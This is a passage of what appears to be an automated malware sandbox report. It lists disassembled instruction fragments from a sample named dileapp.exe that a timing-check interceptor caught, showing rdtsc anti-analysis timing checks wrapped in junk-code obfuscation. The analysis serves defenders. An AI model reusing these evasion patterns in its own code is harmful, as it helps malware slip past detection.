0x0000005b jmp 00007FCCB0D02D16h 0x00000060 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E8817 second address: 11E884A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FCCB120DFE9h 0x00000010 jmp 00007FCCB120DFE3h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007FCCB120DFDCh 0x0000001f jne 00007FCCB120DFD6h 0x00000025 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E884A second address: 11E8854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FCCB0D02D06h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E9860 second address: 11E986D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FCCB120DFD6h 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EA327 second address: 11EA34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 mov esi, dword ptr [ebp+137631DCh] 0x0000000e push 00000000h 0x00000010 stc 0x00000011 push 00000000h 0x00000013 sub si, 2CDCh 0x00000018 sub esi, 6470F37Ah 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 js 00007FCCB0D02D06h 0x00000028 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11EE690 second address: 11EE6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FCCB0D02D08h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F084F second address: 11F0884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007FCCB120DFD6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov dword ptr [ebp+138EBA35h], ecx 0x00000015 push 00000000h 0x00000017 adc di, 33BBh 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+13763641h], ecx 0x00000024 sbb ebx, 1EC5F118h 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c pushad 0x0000002d jp 00007FCCB120DFD6h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F195D second address: 11F196F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FCCB0D02D08h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11FD54C second address: 11FD5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FCCB120DFDCh 0x0000000d nop 0x0000000e xor ebx, dword ptr [ebp+138F784Dh] 0x00000014 push 00000000h 0x00000016 jng 00007FCCB120DFD9h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007FCCB120DFD8h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 jmp 00007FCCB120DFE1h 0x0000003d push eax 0x0000003e pushad 0x0000003f push esi 0x00000040 ja 00007FCCB120DFD6h 0x00000046 pop esi 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11ECADB second address: 11ECAE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FCCB120DFD6h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F0B19 second address: 11F0B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FCCB120DFD6h 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11F7253 second address: 11F72E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FCCB120DFD8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov ebx, ecx 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov edi, dword ptr [ebp+138EDD63h] 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b cmc 0x0000003c mov eax, dword ptr [ebp+13760BC5h] 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007FCCB120DFD8h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 0000001Dh 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c jmp 00007FCCB120DFE8h 0x00000061 push FFFFFFFFh 0x00000063 sub dword ptr [ebp+137636B9h], edx 0x00000069 push eax 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1225846 second address: 122585B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFDDh 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122585B second address: 1225871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCCB0D02D0Eh 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1226FCC second address: 1226FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCCB120DFD6h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FCCB120DFE3h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EAAC second address: 122EAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D16h 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007FCCB0D02D06h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jnc 00007FCCB0D02D06h 0x0000001c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EAD9 second address: 122EAEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FCCB120DFE6h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EDAD second address: 122EDC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDBh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FCCB120DFD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11A1511 second address: 11A151B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCCB120DFD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11A151B second address: 11A1529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007FCCB0D02D06h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E570F second address: 11E573D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jc 00007FCCB0D02D23h 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007FCCB0D02D06h 0x0000001b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E58FA second address: 11E5953 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push esi 0x0000000d add dword ptr [ebp+13762E04h], esi 0x00000013 pop edx 0x00000014 mov dx, ax 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FCCB120DFD8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 pushad 0x00000034 add dword ptr [ebp+137636D8h], ebx 0x0000003a mov dx, 2C04h 0x0000003e popad 0x0000003f mov dword ptr [ebp+138EFB4Bh], esi 0x00000045 nop 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5957 second address: 11E5974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5974 second address: 11E5999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FCCB0D02D12h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FCCB0D02D08h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6016 second address: 11E6026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB0D02D0Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6026 second address: 11E6073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 je 00007FCCB120DFE2h 0x0000000f jg 00007FCCB120DFDCh 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a push edx 0x0000001b jmp 00007FCCB120DFE0h 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FCCB120DFE9h 0x00000028 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6171 second address: 11E6183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6183 second address: 11E61D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx ecx, dx 0x0000000d lea eax, dword ptr [ebp+1391FB0Dh] 0x00000013 sbb dx, 5D33h 0x00000018 mov di, si 0x0000001b nop 0x0000001c push ecx 0x0000001d jnp 00007FCCB120DFDCh 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007FCCB120DFE8h 0x0000002d push edx 0x0000002e pop edx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233527 second address: 1233552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCCB120DFDDh 0x0000000b popad 0x0000000c jns 00007FCCB120DFDEh 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123355E second address: 123357E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FCCB0D02D08h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCCB0D02D11h 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233AD7 second address: 1233AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE3h 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C46 second address: 1233C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FCCB120DFDAh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C5B second address: 1233C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D11h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FCCB0D02D06h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C7B second address: 1233C90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCCB120DFDAh 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1236D92 second address: 1236DA9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCCB0D02D0Ch 0x00000008 je 00007FCCB0D02D06h 0x0000000e push ebx 0x0000000f jnl 00007FCCB0D02D06h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1239515 second address: 1239536 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB0D02D06h 0x00000008 jmp 00007FCCB0D02D0Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FCCB0D02D0Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123FC4F second address: 123FC71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCCB120DFE7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F54D second address: 123F5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FCCB0D02D18h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FCCB0D02D18h 0x00000019 popad 0x0000001a push edi 0x0000001b jmp 00007FCCB0D02D14h 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F5AF second address: 123F5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FCCB120DFDCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12429E2 second address: 1242A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FCCB120DFE0h 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FCCB120DFE5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12498F1 second address: 1249901 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FCCB120DFD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1249909 second address: 124993C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jne 00007FCCB0D02D06h 0x00000011 jmp 00007FCCB0D02D16h 0x00000016 popad 0x00000017 push edx 0x00000018 jg 00007FCCB0D02D06h 0x0000001e pop edx 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124807D second address: 124809A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jc 00007FCCB120DFD6h 0x0000000c jmp 00007FCCB120DFDFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124835C second address: 124837C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FCCB120DFE6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124851D second address: 1248527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCCB0D02D06h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248527 second address: 1248543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248547 second address: 1248557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFDAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5B4F second address: 11E5BC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FCCB120DFDAh 0x0000000c pop ecx 0x0000000d popad 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+13763215h] 0x00000015 mov dword ptr [ebp+13761C71h], edi 0x0000001b mov ebx, dword ptr [ebp+1391FB4Ch] 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FCCB120DFD8h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b mov di, C6D2h 0x0000003f add eax, ebx 0x00000041 mov edx, dword ptr [ebp+13762A90h] 0x00000047 nop 0x00000048 pushad 0x00000049 pushad 0x0000004a jmp 00007FCCB120DFE4h 0x0000004f pushad 0x00000050 popad 0x00000051 popad 0x00000052 push eax 0x00000053 push edx 0x00000054 push edi 0x00000055 pop edi 0x00000056 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5BDC second address: 11E5BE6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCCB0D02D0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248B76 second address: 1248B91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D15h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251EF7 second address: 1251F06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FCCB120DFD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251F06 second address: 1251F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D10h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251F21 second address: 1251F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFDAh 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251F2F second address: 1251F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007FCCB0D02D06h 0x0000000f jmp 00007FCCB0D02D12h 0x00000014 push esi 0x00000015 pop esi 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125057E second address: 125059C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D18h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125059C second address: 12505B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCCB120DFE3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1254FC3 second address: 1254FDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Fh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1254FE6 second address: 1255007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FCCB120DFD6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125500B second address: 125501B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jbe 00007FCCB120DFD6h 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1255030 second address: 1255061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FCCB0D02D1Dh 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12555FD second address: 1255625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FCCB0D02D06h 0x0000000a popad 0x0000000b jmp 00007FCCB0D02D15h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FCCB0D02D06h 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1255907 second address: 125591F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D14h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125A98D second address: 125A99B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12623E1 second address: 12623FF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB120DFD8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCCB120DFDFh 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1262E12 second address: 1262E1C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB0D02D06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12630C9 second address: 12630EF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FCCB0D02D16h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263224 second address: 126323D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FCCB0D02D06h 0x0000000d push esi 0x0000000e pop esi 0x0000000f js 00007FCCB0D02D06h 0x00000015 popad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
